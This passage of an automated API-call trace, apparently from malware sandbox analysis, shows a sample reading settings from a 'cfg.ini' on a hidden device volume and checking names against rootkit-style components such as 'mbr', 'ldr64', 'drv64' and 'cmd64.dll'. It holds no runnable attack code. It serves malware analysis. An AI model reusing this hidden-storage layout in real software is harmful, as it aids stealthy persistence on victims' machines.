_Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.847] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.847] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed4c0 [0126.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.847] KeLeaveCriticalRegion () [0126.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.847] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.847] KeEnterCriticalRegion () [0126.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.847] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.847] KeLeaveCriticalRegion () [0126.847] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.847] KeEnterCriticalRegion () [0126.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.847] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.847] IdePortDispatch () returned 0x103 [0126.848] KeWaitForMutexObject () returned 0x0 [0126.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.848] KeLeaveCriticalRegion () [0126.848] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.848] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.848] KeEnterCriticalRegion () [0126.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b29000 [0126.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.848] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.848] IdePortDispatch () returned 0x103 [0126.848] KeWaitForMutexObject () returned 0x0 [0126.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.848] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.848] IdePortDispatch () returned 0x103 [0126.849] KeWaitForMutexObject () returned 0x0 [0126.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.849] KeLeaveCriticalRegion () [0126.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.849] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.849] KeEnterCriticalRegion () [0126.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.849] KeLeaveCriticalRegion () [0126.850] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.850] KeEnterCriticalRegion () [0126.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.850] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.850] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.850] KeLeaveCriticalRegion () [0126.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.850] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.850] KeEnterCriticalRegion () [0126.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.850] ExFreePoolWithTag (P=0xfffffa80037ed4c0, Tag=0x0) [0126.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.850] KeLeaveCriticalRegion () [0126.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.850] ReleaseMutex (hMutex=0xf0) returned 1 [0126.850] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.850] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.850] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.850] KeEnterCriticalRegion () [0126.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.850] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.850] IdePortDispatch () returned 0x103 [0126.850] KeWaitForMutexObject () returned 0x0 [0126.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.851] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.851] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.851] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.851] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.851] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc970 [0126.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.851] KeLeaveCriticalRegion () [0126.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.851] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.851] KeEnterCriticalRegion () [0126.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.851] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.851] KeLeaveCriticalRegion () [0126.851] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.851] KeEnterCriticalRegion () [0126.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.851] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.851] IdePortDispatch () returned 0x103 [0126.852] KeWaitForMutexObject () returned 0x0 [0126.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.852] KeLeaveCriticalRegion () [0126.852] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.852] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.852] KeEnterCriticalRegion () [0126.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2a000 [0126.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.852] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.852] IdePortDispatch () returned 0x103 [0126.852] KeWaitForMutexObject () returned 0x0 [0126.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.852] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.852] IdePortDispatch () returned 0x103 [0126.853] KeWaitForMutexObject () returned 0x0 [0126.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.853] KeLeaveCriticalRegion () [0126.853] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.853] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.853] KeEnterCriticalRegion () [0126.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.853] KeLeaveCriticalRegion () [0126.853] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.854] KeEnterCriticalRegion () [0126.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.854] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.854] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.854] KeLeaveCriticalRegion () [0126.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.854] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.854] KeEnterCriticalRegion () [0126.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.854] ExFreePoolWithTag (P=0xfffffa8003acc970, Tag=0x0) [0126.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.854] KeLeaveCriticalRegion () [0126.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.854] ReleaseMutex (hMutex=0xf0) returned 1 [0126.854] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.854] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.854] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.854] KeEnterCriticalRegion () [0126.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.854] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.854] IdePortDispatch () returned 0x103 [0126.854] KeWaitForMutexObject () returned 0x0 [0126.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.855] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.855] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.855] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.855] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.855] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.855] KeLeaveCriticalRegion () [0126.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.855] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.855] KeEnterCriticalRegion () [0126.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.855] KeLeaveCriticalRegion () [0126.855] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.855] KeEnterCriticalRegion () [0126.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.855] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.855] IdePortDispatch () returned 0x103 [0126.855] KeWaitForMutexObject () returned 0x0 [0126.855] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.855] KeLeaveCriticalRegion () [0126.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.856] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.856] KeEnterCriticalRegion () [0126.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2b000 [0126.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.856] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.856] IdePortDispatch () returned 0x103 [0126.856] KeWaitForMutexObject () returned 0x0 [0126.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.856] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.856] IdePortDispatch () returned 0x103 [0126.856] KeWaitForMutexObject () returned 0x0 [0126.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.856] KeLeaveCriticalRegion () [0126.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.857] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.857] KeEnterCriticalRegion () [0126.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.857] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.857] KeLeaveCriticalRegion () [0126.857] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.857] KeEnterCriticalRegion () [0126.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.857] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.857] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.857] KeLeaveCriticalRegion () [0126.857] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.857] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.857] KeEnterCriticalRegion () [0126.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.857] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.857] KeLeaveCriticalRegion () [0126.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.858] ReleaseMutex (hMutex=0xf0) returned 1 [0126.858] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.858] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.858] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.858] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.858] KeEnterCriticalRegion () [0126.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.858] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.858] IdePortDispatch () returned 0x103 [0126.858] KeWaitForMutexObject () returned 0x0 [0126.858] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.858] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.858] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.858] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.858] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.858] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.858] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.858] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.858] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.858] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.858] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.858] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.858] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.859] KeLeaveCriticalRegion () [0126.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.859] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.859] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.859] KeEnterCriticalRegion () [0126.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.859] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.859] IdePortDispatch () returned 0x103 [0126.859] KeWaitForMutexObject () returned 0x0 [0126.859] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.859] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.859] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.859] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.859] 